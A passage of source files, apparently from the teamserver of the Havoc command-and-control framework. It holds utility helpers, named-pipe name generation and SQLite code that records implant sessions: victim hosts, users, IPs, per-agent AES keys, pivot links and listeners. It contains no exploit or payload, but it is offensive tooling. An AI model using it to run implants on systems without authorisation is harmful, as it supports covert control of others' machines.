b)\n\t}\n\tdiv, exp := int64(unit), 0\n\tfor n := b / unit; n >= unit; n /= unit {\n\t\tdiv *= unit\n\t\texp++\n\t}\n\treturn fmt.Sprintf(\"%.2f %cB\",\n\t\tfloat64(b)/float64(div), \"kMGTPE\"[exp])\n}\n\nfunc XorCipher(input, key string) (output string) {\n\tfor i := 0; i < len(input); i++ {\n\t\toutput += string(input[i] ^ key[i%len(key)])\n\t}\n\n\treturn output\n}\n\nfunc RandomString(n int) string {\n\tvar chars = []rune(\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0987654321\")\n\tstr := make([]rune, n)\n\tfor i := range str {\n\t\tstr[i] = chars[rand.Intn(len(chars))]\n\t}\n\treturn string(str)\n}\n\nfunc Int32ToLittle(x uint32) uint32 {\n\tbs := make([]byte, 4)\n\tbinary.LittleEndian.PutUint32(bs, x)\n\treturn binary.LittleEndian.Uint32(bs)\n}\n\nfunc StripNull(s string) string {\n\treturn string(bytes.Trim([]byte(s), \"\\x00\"))\n}\n\nfunc PercentageChange(part int, total int64) float64 {\n\treturn (float64(part) * float64(100)) / float64(total)\n}\n\nfunc IpStringToInt32(ip string) (int, error) {\n\tvar long uint32\n\terr := binary.Read(bytes.NewBuffer(net.ParseIP(ip).To4()), binary.LittleEndian, &long)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\treturn int(long), nil\n}\n\nfunc Int32ToIpString(ipInt int64) string {\n\n\t// need to do two bit shifting and “0xff” masking\n\tb0 := strconv.FormatInt((ipInt>>24)&0xff, 10)\n\tb1 := strconv.FormatInt((ipInt>>16)&0xff, 10)\n\tb2 := strconv.FormatInt((ipInt>>8)&0xff, 10)\n\tb3 := strconv.FormatInt(ipInt&0xff, 10)\n\n\treturn b3 + \".\" + b2 + \".\" + b1 + \".\" + b0\n}\n\nfunc EpochTimeToSystemTime( EpochTime int64 ) int64 {\n\tvar (\n\t\tUNIX_TIME_START  int64 = 0x019DB1DED53E8000 //January 1, 1970 (start of Unix epoch) in \"ticks\"\n\t\tTICKS_PER_SECOND int64 = 10000000 //a tick is 100ns\n\t)\n\n\tif (EpochTime == 0) {\n\t\treturn 0\n\t}\n\n\treturn ( EpochTime * TICKS_PER_SECOND ) + UNIX_TIME_START\n}\n\nfunc GetRandomChar(dict string) string {\n    return string(dict[rand.Intn(len(dict))])\n}\n\n// generate a PipeName from a name template\nfunc GeneratePipeName(Template string, PID int, TID int) string {\n\tvar PipeName = Template\n\n\thexdigits := \"0123456789abcdef\"\n\tdigits := \"0123456789\"\n\tascii_uppercase := \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n\tascii_lowercase := \"abcdefghijklmnopqrstuvwxyz\"\n\n\trand.Seed(time.Now().UnixNano())\n\n\t// add the process PID (if specified)\n\tif PID != 0 {\n\t\tPipeName = strings.Replace(PipeName, \"{pid}\", fmt.Sprintf(\"%d\", PID), -1)\n\t\tPipeName = strings.Replace(PipeName, \"{Pid}\", fmt.Sprintf(\"%d\", PID), -1)\n\t\tPipeName = strings.Replace(PipeName, \"{PID}\", fmt.Sprintf(\"%d\", PID), -1)\n\t}\n\n\t// add the process TID (if specified)\n\tif TID != 0 {\n\t\tPipeName = strings.Replace(PipeName, \"{tid}\", fmt.Sprintf(\"%d\", TID), -1)\n\t\tPipeName = strings.Replace(PipeName, \"{Tid}\", fmt.Sprintf(\"%d\", TID), -1)\n\t\tPipeName = strings.Replace(PipeName, \"{TID}\", fmt.Sprintf(\"%d\", TID), -1)\n\t}\n\n\t// #: hex char\n\tfor strings.Contains(PipeName, \"$\") {\n\t\tPipeName = strings.Replace(PipeName, \"$\", GetRandomChar(hexdigits), 1)\n\t}\n\n\t// #: number\n\tfor strings.Contains(PipeName, \"#\") {\n\t\tPipeName = strings.Replace(PipeName, \"#\", GetRandomChar(digits), 1)\n\t}\n\n\t// !: uppercase char\n\tfor strings.Contains(PipeName, \"@\") {\n\t\tPipeName = strings.Replace(PipeName, \"@\", GetRandomChar(ascii_uppercase), 1)\n\t}\n\n\t// !: lowercase char\n\tfor strings.Contains(PipeName, \"!\") {\n\t\tPipeName = strings.Replace(PipeName, \"!\", GetRandomChar(ascii_lowercase), 1)\n\t}\n\n\t// make sure the pipename starts with \\\\.\\pipe\\\n\tif strings.HasPrefix(PipeName, \"\\\\\\\\.\\\\pipe\\\\\") == false {\n\t\tPipeName = \"\\\\\\\\.\\\\pipe\\\\\" + PipeName\n\t}\n\n\treturn PipeName\n}\n\nfunc GetInterfaceIpv4Addr(interfaceOrIp string) string {\n\tvar (\n\t\tief      *net.Interface\n\t\taddrs    []net.Addr\n\t\tipv4Addr net.IP\n\t\terr      error\n\t)\n\tif ief, err = net.InterfaceByName(interfaceOrIp); err != nil { // get interface\n\t\treturn interfaceOrIp\n\t}\n\tif addrs, err = ief.Addrs(); err != nil { // get addresses\n\t\treturn interfaceOrIp\n\t}\n\tfor _, addr := range addrs { // get ipv4 address\n\t\tif ipv4Addr = addr.(*net.IPNet).IP.To4(); ipv4Addr != nil {\n\t\t\tbreak\n\t\t}\n\t}\n\tif ipv4Addr == nil {\n\t\treturn interfaceOrIp\n\t}\n\treturn ipv4Addr.String()\n}\n"
  },
  {
    "path": "teamserver/pkg/db/agents.go",
    "content": "package db\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"strconv\"\n\t\"encoding/base64\"\n\n\t\"Havoc/pkg/agent\"\n)\n\nfunc (db *DB) AgentAdd(agent *agent.Agent) error {\n\n\tvar err error\n\tvar AgentID int64\n\n\tAgentID, err = strconv.ParseInt(agent.NameID, 16, 32)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t/* check if it's a new db */\n\tif db.Existed() {\n\n\t\t/* check if agent already exists */\n\t\tif db.AgentExist(int(AgentID)) {\n\t\t\treturn nil\n\t\t}\n\n\t} else {\n\n\t\t/* check if agent already exists */\n\t\tif db.AgentExist(int(AgentID)) {\n\t\t\treturn errors.New(fmt.Sprintf(\"agent %x already exist in db\", agent.NameID))\n\t\t}\n\n\t}\n\n\t/* prepare some arguments to execute for the sqlite db */\n\tstmt, err := db.db.Prepare(\"INSERT INTO TS_Agents ( AgentID, Active, Reason, AESKey, AESIv, Hostname, Username, DomainName, ExternalIP, InternalIP, ProcessName, BaseAddress, ProcessPID, ProcessTID, ProcessPPID, ProcessArch, Elevated, OSVersion, OSArch, SleepDelay, SleepJitter, KillDate, WorkingHours, FirstCallIn, LastCallIn) values(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t/* add the data to the agent table */\n\t_, err = stmt.Exec(\n\t\tint(AgentID),\n\t\t1,\n\t\t\"\",\n\t\tbase64.StdEncoding.EncodeToString(agent.Encryption.AESKey),\n\t\tbase64.StdEncoding.EncodeToString(agent.Encryption.AESIv),\n\t\tagent.Info.Hostname,\n\t\tagent.Info.Username,\n\t\tagent.Info.DomainName,\n\t\tagent.Info.ExternalIP,\n\t\tagent.Info.InternalIP,\n\t\tagent.Info.ProcessName,\n\t\tagent.Info.BaseAddress,\n\t\tagent.Info.ProcessPID,\n\t\tagent.Info.ProcessTID,\n\t\tagent.Info.ProcessPPID,\n\t\tagent.Info.ProcessArch,\n\t\tagent.Info.Elevated,\n\t\tagent.Info.OSVersion,\n\t\tagent.Info.OSArch,\n\t\tagent.Info.SleepDelay,\n\t\tagent.Info.SleepJitter,\n\t\tagent.Info.KillDate,\n\t\tagent.Info.WorkingHours,\n\t\tagent.Info.FirstCallIn,\n\t\tagent.Info.LastCallIn)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tstmt.Close()\n\n\treturn nil\n}\n\nfunc (db *DB) AgentUpdate(agent *agent.Agent) error {\n\n\tvar err error\n\tvar AgentID int64\n\tvar active int\n\n\tAgentID, err = strconv.ParseInt(agent.NameID, 16, 32)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t/* check if agent already exists */\n\tif db.AgentExist(int(AgentID)) == false {\n\t\treturn errors.New(\"Agent does not exist\")\n\t}\n\n\t/* prepare some arguments to execute for the sqlite db */\n\tstmt, err := db.db.Prepare(\"UPDATE TS_Agents SET Active = ?, Reason = ?, AESKey = ?, AESIv = ?, Hostname = ?, Username = ?, DomainName = ?, ExternalIP = ?, InternalIP = ?, ProcessName = ?, BaseAddress = ?, ProcessPID = ?, ProcessTID = ?, ProcessPPID = ?, ProcessArch = ?, Elevated = ?, OSVersion = ?, OSArch = ?, SleepDelay = ?, SleepJitter = ?, KillDate = ?, WorkingHours = ?, FirstCallIn = ?, LastCallIn = ? WHERE AgentID = ?\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif agent.Active {\n\t\tactive = 1\n\t} else {\n\t\tactive = 0\n\t}\n\n\t/* add the data to the agent table */\n\t_, err = stmt.Exec(\n\t\tactive,\n\t\tagent.Reason,\n\t\tbase64.StdEncoding.EncodeToString(agent.Encryption.AESKey),\n\t\tbase64.StdEncoding.EncodeToString(agent.Encryption.AESIv),\n\t\tagent.Info.Hostname,\n\t\tagent.Info.Username,\n\t\tagent.Info.DomainName,\n\t\tagent.Info.ExternalIP,\n\t\tagent.Info.InternalIP,\n\t\tagent.Info.ProcessName,\n\t\tagent.Info.BaseAddress,\n\t\tagent.Info.ProcessPID,\n\t\tagent.Info.ProcessTID,\n\t\tagent.Info.ProcessPPID,\n\t\tagent.Info.ProcessArch,\n\t\tagent.Info.Elevated,\n\t\tagent.Info.OSVersion,\n\t\tagent.Info.OSArch,\n\t\tagent.Info.SleepDelay,\n\t\tagent.Info.SleepJitter,\n\t\tagent.Info.KillDate,\n\t\tagent.Info.WorkingHours,\n\t\tagent.Info.FirstCallIn,\n\t\tagent.Info.LastCallIn,\n\t\tint(AgentID))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tstmt.Close()\n\n\treturn nil\n}\n\nfunc (db *DB) AgentHasDied(AgentID int) bool {\n\t// prepare some arguments to execute for the sqlite db\n\tstmt, err := db.db.Prepare(\"UPDATE TS_Agents SET Active = 0 WHERE AgentID = ?\")\n\tif err != nil {\n\t\treturn false\n\t}\n\n\t// execute statement\n\t_, err = stmt.Exec(AgentID)\n\tstmt.Close()\n\n\tif err != nil {\n\t\treturn false\n\t}\n\n\treturn true\n}\n\nfunc (db *DB) AgentExist(AgentID int) bool {\n\t// prepare some arguments to execute for the sqlite db\n\tstmt, err := db.db.Prepare(\"SELECT COUNT(*) FROM TS_Agents WHERE AgentID = ?\")\n\tif err != nil {\n\t\treturn false\n\t}\n\n\t// execute statement\n\tquery, err := stmt.Query(AgentID)\n\tdefer query.Close()\n\tif err != nil {\n\t\treturn false\n\t}\n\n\tfor query.Next() {\n\t\tvar NumRows int\n\n\t\tquery.Scan(&NumRows)\n\n\t\tif NumRows == 1 {\n\t\t\treturn true\n\t\t} else {\n\t\t\treturn false\n\t\t}\n\t}\n\n\treturn false\n}\n\nfunc (db *DB) AgentRemove(AgentID int) error {\n\t// prepare some arguments to execute for the sqlite db\n\tstmt, err := db.db.Prepare(\"DELETE FROM TS_Agents WHERE AgentID = ?\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// execute statement\n\t_, err = stmt.Exec(AgentID)\n\tstmt.Close()\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}\n\n\nfunc (db *DB) AgentAll() []*agent.Agent {\n\n\tvar Agents []*agent.Agent\n\n\tquery, err := db.db.Query(\"SELECT AgentID, Active, Reason, AESKey, AESIv, Hostname, Username, DomainName, ExternalIP, InternalIP, ProcessName, BaseAddress, ProcessPID, ProcessTID, ProcessPPID, ProcessArch, Elevated, OSVersion, OSArch, SleepDelay, SleepJitter, KillDate, WorkingHours, FirstCallIn, LastCallIn FROM TS_Agents WHERE Active = 1\")\n\tif err != nil {\n\t\treturn nil\n\t}\n\tdefer query.Close()\n\n\tfor query.Next() {\n\n\t\tvar (\n\t\t\tAgentID int\n\t\t\tActive int\n\t\t\tReason string\n\t\t\tAESKey string\n\t\t\tAESIv string\n\t\t\tHostname string\n\t\t\tUsername string\n\t\t\tDomainName string\n\t\t\tExternalIP string\n\t\t\tInternalIP string\n\t\t\tProcessName string\n\t\t\tBaseAddress int64\n\t\t\tProcessPID int\n\t\t\tProcessTID int\n\t\t\tProcessPPID int\n\t\t\tProcessArch string\n\t\t\tElevated string\n\t\t\tOSVersion string\n\t\t\tOSArch string\n\t\t\tSleepDelay int\n\t\t\tSleepJitter int\n\t\t\tKillDate int64\n\t\t\tWorkingHours int32\n\t\t\tFirstCallIn string\n\t\t\tLastCallIn string\n\t\t)\n\n\t\t/* read the selected items */\n\t\terr = query.Scan(&AgentID, &Active, &Reason, &AESKey, &AESIv, &Hostname, &Username, &DomainName, &ExternalIP, &InternalIP, &ProcessName, &BaseAddress, &ProcessPID, &ProcessTID, &ProcessPPID, &ProcessArch, &Elevated, &OSVersion, &OSArch, &SleepDelay, &SleepJitter, &KillDate, &WorkingHours, &FirstCallIn, &LastCallIn)\n\t\tif err != nil {\n\t\t\t/* at this point we failed\n\t\t\t * just return the collected agents */\n\t\t\treturn Agents\n\t\t}\n\n\t\tBytesAESKey, _ := base64.StdEncoding.DecodeString(AESKey)\n\t\tBytesAESIv,  _ := base64.StdEncoding.DecodeString(AESIv)\n\n\t\tvar Agent = &agent.Agent{\n\t\t\tEncryption: struct {\n\t\t\t\tAESKey []byte\n\t\t\t\tAESIv  []byte\n\t\t\t}{\n\t\t\t\tAESKey: BytesAESKey,\n\t\t\t\tAESIv:  BytesAESIv,\n\t\t\t},\n\n\t\t\tActive:     Active == 1,\n\t\t\tReason:     Reason,\n\t\t\tSessionDir: \"\",\n\n\t\t\tInfo: new(agent.AgentInfo),\n\t\t}\n\n\t\tAgent.NameID            = fmt.Sprintf(\"%08x\", AgentID)\n\t\tAgent.SessionDir        = \"\"\n\t\tAgent.BackgroundCheck   = false\n\t\tAgent.TaskedOnce        = true\n\t\tAgent.Info.MagicValue   = agent.DEMON_MAGIC_VALUE\n\t\tAgent.Info.Listener     = nil\n\t\tAgent.Info.Hostname     = Hostname\n\t\tAgent.Info.Username     = Username\n\t\tAgent.Info.DomainName   = DomainName\n\t\tAgent.Info.ExternalIP   = ExternalIP\n\t\tAgent.Info.InternalIP   = InternalIP\n\t\tAgent.Info.ProcessName  = ProcessName\n\t\tAgent.Info.BaseAddress  = BaseAddress\n\t\tAgent.Info.ProcessPID   = ProcessPID\n\t\tAgent.Info.ProcessTID   = ProcessTID\n\t\tAgent.Info.ProcessPPID  = ProcessPPID\n\t\tAgent.Info.ProcessArch  = ProcessArch\n\t\tAgent.Info.Elevated     = Elevated\n\t\tAgent.Info.OSVersion    = OSVersion\n\t\tAgent.Info.OSArch       = OSArch\n\t\tAgent.Info.SleepDelay   = SleepDelay\n\t\tAgent.Info.SleepJitter  = SleepJitter\n\t\tAgent.Info.KillDate     = KillDate\n\t\tAgent.Info.WorkingHours = WorkingHours\n\t\tAgent.Info.FirstCallIn  = FirstCallIn\n\t\tAgent.Info.LastCallIn   = LastCallIn\n\n\t\t/* append collected agent to agent array */\n\t\tAgents = append(Agents, Agent)\n\n\t}\n\n\treturn Agents\n}\n"
  },
  {
    "path": "teamserver/pkg/db/db.go",
    "content": "package db\n\nimport (\n\t\"database/sql\"\n\t\"os\"\n\n\t_ \"github.com/mattn/go-sqlite3\"\n)\n\ntype DB struct {\n\texisted bool\n\tdb      *sql.DB\n\tpath    string\n}\n\nfunc DatabaseNew(dbpath string) (*DB, error) {\n\tvar (\n\t\tdb  = new(DB)\n\t\terr error\n\t)\n\n\tdb.path = dbpath\n\n\tdb.existed = true\n\tif _, err = os.Stat(dbpath); os.IsNotExist(err) {\n\t\tdb.existed = false\n\t}\n\n\t/* creates and or opens a db */\n\tdb.db, err = sql.Open(\"sqlite3\", db.path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif !db.existed {\n\n\t\t/* create db tables */\n\t\terr = db.init()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t}\n\n\treturn db, nil\n}\n\nfunc (db *DB) init() error {\n\tvar err error\n\n\t_, err = db.db.Exec(`CREATE TABLE \"TS_Listeners\" (\"Name\" text UNIQUE, \"Protocol\" text, \"Config\" text);`)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t_, err = db.db.Exec(`CREATE TABLE \"TS_Agents\" (\"AgentID\" int, \"Active\" int, \"Reason\" string, \"AESKey\" string, \"AESIv\" string, \"Hostname\" string, \"Username\" string, \"DomainName\" string, \"ExternalIP\" string, \"InternalIP\" string, \"ProcessName\" string, BaseAddress int, \"ProcessPID\" int, \"ProcessTID\" int, \"ProcessPPID\" int, \"ProcessArch\" string, \"Elevated\" string, \"OSVersion\" string, \"OSArch\" string, \"SleepDelay\" int, \"SleepJitter\" int, \"KillDate\" int, \"WorkingHours\" int, \"FirstCallIn\" string, \"LastCallIn\" string);`)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t_, err = db.db.Exec(`CREATE TABLE \"TS_Links\" (\"ParentAgentID\" int, \"LinkAgentID\" int);`)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}\n\nfunc (db *DB) Existed() bool {\n\treturn db.existed\n}\n\nfunc (db *DB) Path() string {\n\treturn db.path\n}\n"
  },
  {
    "path": "teamserver/pkg/db/links.go",
    "content": "package db\n\nimport (\n\t\"errors\"\n\t//\"log\"\n)\n\nfunc (db *DB) LinkAdd(ParentAgentID int, LinkAgentID int) error {\n\n\tvar err error\n\n\t/* check if it's a new db */\n\tif db.Existed() {\n\n\t\t/* check if listener already exists */\n\t\tif db.LinkExist(ParentAgentID, LinkAgentID) {\n\t\t\treturn nil\n\t\t}\n\n\t} else {\n\n\t\t/* check if listener already exists */\n\t\tif db.LinkExist(ParentAgentID, LinkAgentID) {\n\t\t\treturn errors.New(\"Link already exist in db\")\n\t\t}\n\n\t}\n\n\t/* prepare some arguments to execute for the sqlite db */\n\tstmt, err := db.db.Prepare(\"INSERT INTO TS_Links (ParentAgentID, LinkAgentID) values(?,?)\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t/* add the data to the links table */\n\t_, err = stmt.Exec(ParentAgentID, LinkAgentID)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tstmt.Close()\n\n\treturn nil\n}\n\nfunc (db *DB) LinkExist(ParentAgentID int, LinkAgentID int) bool {\n\t// prepare some arguments to execute for the sqlite db\n\tstmt, err := db.db.Prepare(\"SELECT COUNT(*) FROM TS_Links WHERE ParentAgentID = ? AND LinkAgentID = ?\")\n\tif err != nil {\n\t\treturn false\n\t}\n\n\t// execute statement\n\tquery, err := stmt.Query(ParentAgentID, LinkAgentID)\n\tdefer query.Close()\n\tif err != nil {\n\t\treturn false\n\t}\n\n\tfor query.Next() {\n\t\tvar NumRows int\n\n\t\tquery.Scan(&NumRows)\n\n\t\tif NumRows == 1 {\n\t\t\treturn true\n\t\t} else {\n\t\t\treturn false\n\t\t}\n\t}\n\n\treturn false\n}\n\nfunc (db *DB) ParentOf(AgentID int) (int, error) {\n\tvar (\n\t\tID  int\n\t)\n\n\t// prepare some arguments to execute for the sqlite db\n\tstmt, err := db.db.Prepare(\"SELECT ParentAgentID FROM TS_Links WHERE LinkAgentID = ?\")\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\t// execute statement\n\tquery, err := stmt.Query(AgentID)\n\tdefer query.Close()\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\tfor query.Next() {\n\n\t\tif err = query.Scan(&ID); err != nil {\n\t\t\treturn 0, err\n\t\t}\n\t\treturn ID, nil\n\t}\n\n\treturn 0, errors.New(\"Parent not found\")\n}\n\nfunc (db *DB) LinksOf(AgentID int) []int {\n\tvar (\n\t\tID  int\n\t\tIDs []int\n\t)\n\n\t// prepare some arguments to execute for the sqlite db\n\tstmt, err := db.db.Prepare(\"SELECT LinkAgentID FROM TS_Links WHERE ParentAgentID = ?\")\n\tif err != nil {\n\t\treturn IDs\n\t}\n\n\t// execute statement\n\tquery, err := stmt.Query(AgentID)\n\tdefer query.Close()\n\tif err != nil {\n\t\treturn IDs\n\t}\n\n\tfor query.Next() {\n\n\t\tif err = query.Scan(&ID); err != nil {\n\t\t\treturn IDs\n\t\t}\n\n\t\tIDs = append(IDs, ID)\n\n\t}\n\n\treturn IDs\n}\n\nfunc (db *DB) LinkRemove(ParentAgentID int, LinkAgentID int) error {\n\t// prepare some arguments to execute for the sqlite db\n\tstmt, err := db.db.Prepare(\"DELETE FROM TS_Links WHERE ParentAgentID = ? AND LinkAgentID = ?\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// execute statement\n\t_, err = stmt.Exec(ParentAgentID, LinkAgentID)\n\tstmt.Close()\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "teamserver/pkg/db/listeners.go",
    "content": "package db\n\nimport (\n\t\"errors\"\n\t\"log\"\n)\n\nfunc (db *DB) ListenerAdd(Name, Protocol, Config string) error {\n\n\tvar err error\n\n\t/* check if it's a new db */\n\tif db.Existed() {\n\n\t\t/* check if listener already exists */\n\t\tif db.ListenerExist(Name) {\n\t\t\treturn nil\n\t\t}\n\n\t} else {\n\n\t\t/* check if listener already exists */\n\t\tif db.ListenerExist(Name) {\n\t\t\treturn errors.New(\"listener \\\"\" + Name + \"\\\"already exist in db\")\n\t\t}\n\n\t}\n\n\t/* prepare some arguments to execute for the sqlite db */\n\tstmt, err := db.db.Prepare(\"INSERT INTO TS_Listeners (Name, Protocol, Config) values(?,?,?)\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t/* add the data to the listener table */\n\t_, err = stmt.Exec(Name, Protocol, Config)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tstmt.Close()\n\n\treturn nil\n}\n\nfunc (db *DB) ListenerExist(Name string) bool {\n\tquery, err := db.db.Query(\"SELECT Name FROM TS_Listeners\")\n\tif err != nil {\n\t\treturn false\n\t}\n\tdefer query.Close()\n\n\tfor query.Next() {\n\t\tvar QueryName string\n\n\t\tquery.Scan(&QueryName)\n\n\t\tif Name == QueryName {\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}\n\nfunc (db *DB) ListenerAll() []map[string]string {\n\n\tvar Listeners []map[string]string\n\n\tquery, err := db.db.Query(\"SELECT Name, Protocol, Config FROM TS_Listeners\")\n\tif err != nil {\n\t\treturn nil\n\t}\n\tdefer query.Close()\n\n\tfor query.Next() {\n\n\t\tvar (\n\t\t\tName string\n\t\t\tProt string\n\t\t\tConf string\n\t\t\tData map[string]string\n\t\t)\n\n\t\t/* read the selected items */\n\t\terr = query.Scan(&Name, &Prot, &Conf)\n\t\tif err != nil {\n\t\t\t/* at this point we failed\n\t\t\t * just return the collected listeners */\n\t\t\treturn Listeners\n\t\t}\n\n\t\tData = map[string]string{\n\t\t\t\"Name\":     Name,\n\t\t\t\"Protocol\": Prot,\n\t\t\t\"Config\":   Conf,\n\t\t}\n\n\t\t/* append collected listener to listener array */\n\t\tListeners = append(Listeners, Data)\n\n\t}\n\n\treturn Listeners\n}\n\nfunc (db *DB) ListenerCount() int {\n\n\tvar Count int\n\n\tquery, err := db.db.Query(\"SELECT COUNT(*) FROM TS_Listeners\")\n\tif err != nil {\n\t\treturn 0\n\t}\n\tdefer query.Close()\n\n\tfor query.Next() {\n\t\tif err = query.Scan(&Count); err != nil {\n\t\t\tlog.Fatal(err)\n\t\t}\n\t}\n\n\treturn Count\n}\n\nfunc (db *DB) ListenerNames() []string {\n\tvar (\n\t\tName  string\n\t\tNames []string\n\t)\n\n\tquery, err := db.db.Query(\"SELECT Name FROM TS_Listeners\")\n\tif err != nil {\n\t\treturn nil\n\t}\n\n\tdefer query.Close()\n\n\tfor query.Next() {\n\n\t\tif err = query.Scan(&Name); err != nil {\n\t\t\treturn Names\n\t\t}\n\n\t\tNames = append(Names, Name)\n\n\t}\n\n\treturn Names\n}\n\nfunc (db *DB) ListenerRemove(Name string) error {\n\t// prepare some arguments to execute for the sqlite db\n\tstmt, err := db.db.Prepare(\"DELETE FROM TS_Listeners WHERE Name = ?\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// execute statement\n\t_, err = stmt.Exec(Name)\n\tstmt.Close()\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "teamserver/pkg/db/misc.go",
    "content": "package db\n"
  },
  {
    "path": "teamserver/pkg/events/chatlog.go",
    "content": "package events\n\nimport (\n\t\"time\"\n\n\t\"Havoc/pkg/packager\"\n)\n\nvar ChatLog chatLog\n\nfunc (chatLog) NewUserConnected(User string) packager.Package {\n\treturn packager.Package{\n\t\tHead: packager.Head{\n\t\t\tEvent: packager.Type.Chat.Type,\n\t\t\tTime:  time.Now().Format(\"02/01/2006 15:04:05\"),\n\t\t},\n\n\t\tBody: packager.Body{\n\t\t\tSubEvent: packager.Type.Chat.NewUser,\n\t\t\tInfo: map[string]any{\n\t\t\t\t\"User\": User,\n\t\t\t},\n\t\t},\n\t}\n}\n\nfunc (chatLog) UserDisconnected(User string) packager.Package {\n\treturn packager.Package{\n\t\tHead: packager.Head{\n\t\t\tEvent: packager.Type.Chat.Type,\n\t\t\tTime:  time.Now().Format(\"02/01/2006 15:04:05\"),\n\t\t},\n\n\t\tBody: packager.Body{\n\t\t\tSubEvent: packager.Type.Chat.UserDisconnected,\n\t\t\tInfo: map[string]any{\n\t\t\t\t\"User\": User,\n\t\t\t},\n\t\t},\n\t}\n}\n"
  },
  {
    "path": "teamserver/pkg/events/demons.go",
    "content": "package events\n\nimport (\n\t\"encoding/base64\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"strconv\"\n\t\"time\"\n\n\t\"Havoc/pkg/agent\"\n\t\"Havoc/pkg/logr\"\n\t\"Havoc/pkg/packager\"\n)\n\n/* TODO: rename everything here from 'Demon' to 'Agent' */\n\nvar Demons demons\n\nfunc (demons) NewDemon(Agent *agent.Agent) packager.Package {\n\tvar (\n\t\tPackage    packager.Package\n\t)\n\n\tPackage.Head.Event   = packager.Type.Session.Type\n\tPackage.Head.Time    = time.Now().Format(\"02/01/2006 15:04:05\")\n\tPackage.Head.OneTime = \"true\"\n\n\tPackage.Body.SubEvent = packager.Type.Session.NewSession\n\tPackage.Body.Info = make(map[string]interface{})\n\n\tInfoMap := map[string]interface{}{\n\t\t\"Active\": fmt.Sprintf(\"%v\", Agent.Active),\n\t\t\"BackgroundCheck\": Agent.BackgroundCheck,\n\t\t\"DomainName\": Agent.Info.DomainName,\n\t\t\"Elevated\": Agent.Info.Elevated,\n\t\t\"Encryption\": map[string]interface{}{\n\t\t\t\"AESKey\": base64.StdEncoding.EncodeToString(Agent.Encryption.AESKey),\n\t\t\t\"AESIv\":  base64.StdEncoding.EncodeToString(Agent.Encryption.AESIv),\n\t\t},\n\t\t\"InternalIP\": Agent.Info.InternalIP,\n\t\t\"ExternalIP\": Agent.Info.ExternalIP,\n\t\t\"FirstCallIn\": Agent.Info.FirstCallIn,\n\t\t\"LastCallIn\": Agent.Info.LastCallIn,\n\t\t\"Hostname\": Agent.Info.Hostname,\n\t\t\"Listener\": \"null\", // ?\n\t\t\"MagicValue\": fmt.Sprintf(\"%x\", Agent.Info.MagicValue),\n\t\t\"NameID\": Agent.NameID,\n\t\t\"OSArch\": Agent.Info.OSArch,\n\t\t\"OSBuild\": Agent.Info.OSBuild,\n\t\t\"OSVersion\": Agent.Info.OSVersion,\n\t\t\"Pivots\": map[string]interface{}{\n\t\t\t\"Parent\": nil,\n\t\t\t\"Links\":  []string{},\n\t\t},\n\t\t\"PortFwds\": []string{},\n\t\t\"ProcessArch\": Agent.Info.ProcessArch,\n\t\t\"ProcessName\": Agent.Info.ProcessName,\n\t\t\"ProcessPID\": fmt.Sprintf(\"%d\", Agent.Info.ProcessPID),\n\t\t\"ProcessPPID\": fmt.Sprintf(\"%d\", Agent.Info.ProcessPPID),\n\t\t\"ProcessPath\": Agent.Info.ProcessPath,\n\t\t\"Reason\": Agent.Reason,\n\t\t\"SleepDelay\": Agent.Info.SleepDelay,\n\t\t\"SleepJitter\": Agent.Info.SleepJitter,\n\t\t\"KillDate\": Agent.Info.KillDate,\n\t\t\"WorkingHours\": Agent.Info.WorkingHours,\n\t\t\"SocksCli\": []string{},\n\t\t\"SocksCliMtx\": nil,\n\t\t\"SocksSvr\": []string{},\n\t\t\"TaskedOnce\": Agent.TaskedOnce,\n\t\t\"Username\": Agent.Info.Username,\n\t\t\"PivotParent\": \"\",\n\t}\n\n\tif Agent.Pivots.Parent != nil {\n\t\tInfoMap[\"PivotParent\"] = Agent.Pivots.Parent.NameID\n\t}\n\n\tPackage.Body.Info = InfoMap\n\n\treturn Package\n}\n\nfunc (demons) DemonOutput(DemonID string, CommandID int, Output string) packager.Package {\n\tvar Package packager.Package\n\tvar LogrOut map[string]string\n\n\terr := json.Unmarshal([]byte(Output), &LogrOut)\n\tif err == nil && CommandID != agent.COMMAND_NOJOB {\n\t\tlogr.LogrInstance.DemonAddOutput(DemonID, LogrOut, time.Now().UTC().Format(\"02/01/2006 15:04:05\"))\n\t}\n\n\tPackage.Head.Event = packager.Type.Session.Type\n\tPackage.Head.Time = time.Now().Format(\"02/01/2006 15:04:05\")\n\n\tPackage.Body.SubEvent = packager.Type.Session.Output\n\tPackage.Body.Info = make(map[string]interface{})\n\n\tPackage.Body.Info[\"DemonID\"] = DemonID\n\tPackage.Body.Info[\"CommandID\"] = strconv.Itoa(CommandID)\n\tPackage.Body.Info[\"Output\"] = base64.StdEncoding.EncodeToString([]byte(Output))\n\n\treturn 